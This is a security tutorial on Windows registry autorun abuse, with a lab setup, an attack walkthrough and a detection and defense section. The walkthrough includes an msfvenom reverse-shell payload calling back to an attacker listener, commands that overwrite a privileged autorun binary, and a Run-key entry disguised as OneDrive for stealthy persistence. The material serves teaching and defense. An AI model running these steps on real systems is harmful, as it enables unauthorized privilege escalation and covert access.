Abusing Registry Autoruns for Windows Persistence and Privilege Escalation

Windows Privesc
Time it takes to read this article 5 minutes.

Disclaimer

This article is provided strictly for educational purposes and authorized security testing. Only apply these techniques to systems that you own or for which you have explicit, written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions. The author and yunolay.com accept no liability for misuse.

Introduction / Overview

Autorun locations are one of the most enduring footholds on Windows. Every time a program is scheduled to launch automatically — at boot, at logon, or when a particular event fires — its configuration lives somewhere on disk or in the registry. For an attacker, those same locations are gifts: drop a reference to your payload, wait for the trigger, and you have persistence. If a higher-privileged context (for example, a SYSTEM service or an administrator's logon) executes a path that a low-privileged user can modify, that same autorun becomes a privilege escalation primitive.

In this article you'll learn how the classic registry Run keys work, how Sysinternals autoruns.exe enumerates the full surface of autostart extensibility points (ASEPs), how to identify a writable autorun that an unprivileged user can hijack, and how to weaponize it for both persistence and privilege escalation. We finish with a substantial Blue Team section, because every one of these techniques leaves artifacts.

How It Works / Background

The Windows registry contains several keys that the operating system reads at logon or boot and executes the values it finds. The most important are the Run and RunOnce keys, which exist under both HKCU (per-user, executes at that user's logon) and HKLM (machine-wide, executes for any user at logon and runs in that user's context — but the key itself is writable only by administrators by default):

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

RunOnce values are deleted after they execute once (unless prefixed with !, which forces the entry to persist until the command succeeds). There are dozens of other ASEPs beyond Run keys — Winlogon Userinit/Shell, Image File Execution Options, services, scheduled tasks, AppInit_DLLs, and Startup folder shortcuts. The Sysinternals tool autoruns.exe (and its CLI sibling autorunsc.exe) enumerates all of these in one place, which is exactly why it is the de facto tool for both attackers performing reconnaissance and defenders performing triage.

The privilege escalation angle hinges on a misconfiguration: a Run value (or, more commonly, the executable it points to) that is writable by a low-privileged user but executed by a privileged one. If HKLM\...\Run contains C:\Apps\agent\updater.exe and the C:\Apps\agent\ directory grants Users:(M) (Modify), any user can overwrite updater.exe, and at the next logon of any account — including an admin — the planted binary runs in that account's context. This maps to MITRE ATT&CK T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder).

Prerequisites / Lab Setup

You need a Windows 10/11 or Server VM, a low-privileged user shell, and the Sysinternals Suite. Grab autoruns.exe/autorunsc.exe from the official Sysinternals site and copy it onto the target (or run it live).

# Download Sysinternals autoruns (do this on the test host)
Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Autoruns.zip" -OutFile "$env:TEMP\Autoruns.zip"
Expand-Archive "$env:TEMP\Autoruns.zip" -DestinationPath "$env:TEMP\Autoruns" -Force

To create a vulnerable lab condition (run as admin once), point an HKLM Run value at a directory that grants Users modify rights:

New-Item -Path "C:\Apps\agent" -ItemType Directory -Force | Out-Null
"placeholder" | Out-File "C:\Apps\agent\updater.exe"
icacls "C:\Apps\agent" /grant "Users:(OI)(CI)M"
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "AgentUpdater" -Value "C:\Apps\agent\updater.exe" -PropertyType String -Force

Attack Walkthrough / PoC

Step 1 — Enumerate autoruns

As the low-privileged user, run autorunsc.exe with hashes and signature verification. The flags: -a * (all categories), -c (CSV), -h (hashes), -s (verify signatures), -nobanner, -accepteula.

& "$env:TEMP\Autoruns\autorunsc.exe" -accepteula -nobanner -a * -c -h -s > C:\Users\Public\autoruns.csv

You can also enumerate Run keys natively without Sysinternals, which is stealthier:

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Format-List

Step 2 — Find a writable autorun

For each binary referenced by an autorun, check whether you can write to the file or its parent directory. icacls reveals the DACL; look for BUILTIN\Users, Authenticated Users, or Everyone with (M), (F), (W), or (WD)/(AD) rights.

icacls "C:\Apps\agent\updater.exe"
icacls "C:\Apps\agent"

The widely used PrivescCheck and PowerUp scripts automate this exact search. PowerUp's Get-ModifiableRegistryAutoRun parses Run keys and reports any referenced executable whose ACL is modifiable by the current user:

Import-Module .\PowerUp.ps1
Get-ModifiableRegistryAutoRun

Step 3 — Weaponize for privilege escalation

If C:\Apps\agent\updater.exe is writable and the Run value sits in HKLM, replace the binary. When an administrator logs on, your payload runs as that admin. Generate a payload (msfvenom shown; adapt as needed):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f exe -o updater.exe
# As the low-priv user, overwrite the writable autorun target
Copy-Item -Path .\updater.exe -Destination "C:\Apps\agent\updater.exe" -Force

Catch the shell on your listener and wait for the next admin logon. Because HKLM Run executes in the context of whichever user logs on, the binary lands with that user's token — escalation without ever touching a kernel exploit.

Step 4 — Persistence as a low-privileged user

If you only need to survive reboots in your own context (no escalation), the per-user HKCU Run key requires no special rights — you can write it freely:

New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "OneDriveSync" -Value "C:\Users\Public\beacon.exe" -PropertyType String -Force

Naming the value something that blends in (mimicking OneDrive, Teams, or an updater) reduces the chance a casual review flags it. This is persistence (T1547.001), not escalation, since it runs as you.

For broader context on chaining these footholds, see Windows service permission abuse and the unquoted service path technique, which exploit the same "writable thing executed by a higher privilege" pattern. Once you have a foothold, lateral movement often pivots into Kerberoasting.

Mermaid Diagram

Abusing Registry Autoruns for Windows Persistence and Privilege Escalation diagram 1

Text summary: an attacker enumerates autorun entries, finds a writable HKLM Run target, replaces the binary, and gains elevated execution when a privileged user logs on; if none is writable, they fall back to HKCU for same-context persistence.

Detection & Defense (Blue Team)

Autorun abuse is noisy if you are watching the right places. Give detection equal priority to the offense.

Monitor registry writes. Sysmon Event ID 13 (RegistryValue Set) and 12 (RegistryObject Add/Delete) catch modifications to Run/RunOnce keys. Use a config such as SwiftOnSecurity's Sysmon baseline, which targets CurrentVersion\Run, Winlogon, and Image File Execution Options. Windows Security event 4657 (a registry value was modified) provides equivalent coverage with native auditing enabled.

Sysmon EID 13/12  → TargetObject contains \CurrentVersion\Run
Security EID 4657  → registry value modified (requires SACL auditing)
Security EID 4688  → new process; correlate parent=explorer.exe at logon

Baseline and diff with autorunsc. Defenders should run the same tool attackers do, on a schedule, and diff against a known-good baseline. The -vt flag submits hashes to VirusTotal:

autorunsc.exe -accepteula -nobanner -a * -c -h -s -vt > baseline.csv
# later: Compare-Object (Import-Csv baseline.csv) (Import-Csv current.csv)

Fix the root cause — weak ACLs. The escalation only works because a privileged Run target is writable by Users. Audit autorun executable permissions and remove non-admin write access:

icacls "C:\Apps\agent\updater.exe" /remove:g "Users" "Authenticated Users"
icacls "C:\Apps\agent" /inheritance:r /grant "Administrators:(OI)(CI)F" /grant "Users:(OI)(CI)RX"

Install applications under C:\Program Files (write-protected for non-admins by default) rather than custom directories with loose ACLs.

Reduce signal-to-noise. Pay particular attention to autorun entries that are unsigned, have invalid signatures, reference user-writable paths (%APPDATA%, %TEMP%, C:\Users\Public), or have no description/publisher. Microsoft Defender for Endpoint and most EDRs flag T1547.001 patterns automatically. Attack Surface Reduction rules and AppLocker/WDAC can block execution of unauthorized binaries even if a Run key is poisoned, breaking the kill chain at the execution stage.

Conclusion

Registry autoruns are simultaneously a persistence mechanism and, when ACLs are weak, a privilege escalation path. The technique requires no exploits — just enumeration with autorunsc.exe or native reg query, an ACL check with icacls, and a file overwrite. For defenders, the countermeasures are equally mechanical: monitor Run-key registry writes (Sysmon 12/13, Security 4657), baseline-diff autoruns, lock down executable directory permissions, and enforce application control. Get the ACLs right and the whole escalation primitive disappears.

References

Comments

Copied title and URL